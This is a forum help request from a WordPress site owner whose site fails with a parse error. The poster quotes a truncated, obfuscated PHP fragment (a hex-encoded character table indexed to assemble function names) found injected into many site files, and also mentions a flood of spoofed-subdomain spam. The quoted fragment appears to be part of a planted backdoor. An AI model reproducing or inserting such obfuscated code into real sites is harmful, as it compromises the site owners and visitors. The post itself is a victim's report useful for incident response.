WP website – Parser syntax error.

Hi,

We hosted the website on godaddy server. it was working fine. but today, it showed the error as
“Parse error: syntax error, unexpected end of file in /home/nysaqatar/public_html/wp-includes/version.php on line 1”

when the developer inspected the code, its full of random code lines like
<?php $GLOBALS['wf9778ae5'];global$wf9778ae5;$wf9778ae5=$GLOBALS;$wf9778ae5['s371ced70']="\x45\x2e\x52\x67\x4b\x35\x57\x33\x59\x31\x4d\x58\x55\x4a\x6e\x64\x7c\x63\x20\x78\x5e\x32\x66\x2a\x42\x7b\xa\x2b\x23\x77\x76\x60\x6a\x44\x43\x47\x62\x6d\x5a\x3b\x36\x5f\x24\x3a\x7a\x72\x3f\x7e\x68\x27\x71\x49\x69\x2d\x26\x6b\x5b\x3d\x2c\x7d\x30\x9\x4c\x5d\x6f\x48\x74\x65\x70\x21\x75\x2f\x3c\x53\x22\x54\x3e\x73\x29\x41\x5c\x25\x46\x4f\x61\x56\x37\x38\x28\x6c\x50\x51\x40\xd\x4e\x39\x34\x79";$wf9778ae5[$wf9778ae5['s371ced70'][84].$wf9778ae5['s371ced70'][96].$wf9778ae5['s371ced70'][60].$wf9778ae5['s371ced70'][22].$wf9778ae5['s371ced70'][67].$wf9778ae5['s371ced70'][5].$wf9778ae5['s371ced70'][17].$wf9778ae5['s371ced70'][67].$wf9778ae5['s371ced70'][22]]=$wf9778ae5['s371ced70'][17].$wf9778ae5['s371ced70'][48].$wf9778ae5['s371ced70'][45];$wf9778ae5[$wf9778ae5['s371ced70'][97].$wf9778ae5['s371ced70'][86].$wf9778ae5['s371ced70'][7].$wf9778ae5['s371ced70'][9]]=$wf9778ae5['s371ced70'][64].$wf9778ae5['s371ced70'][45].$wf9778ae5['s371ced70'][15];$wf9778ae5[$wf9778ae5['s371ced70'][68].$wf9778ae5['s371ced70'][95].$wf9778ae5['s371ced70'][5].$wf9778ae5['s371ced70'][15].$wf9778ae5['s371ced70'][60]]=$wf9778ae5['s371ced70'][77] "

its in many files in the site. Whats happening? why is this issue?

Whats the solution for this?

And also In Cpanel, mail directory, we getting lot of spam emails every second. from different emails ids.

We getting emails from own domain name like “marsahlladams.nysaqatar.com”
but there is no email in this name in our domain. then how it appears?

Is the site hacked?

Please guide us whats is the issues, how it is occurred and the solution to solve this issue as soon as possible.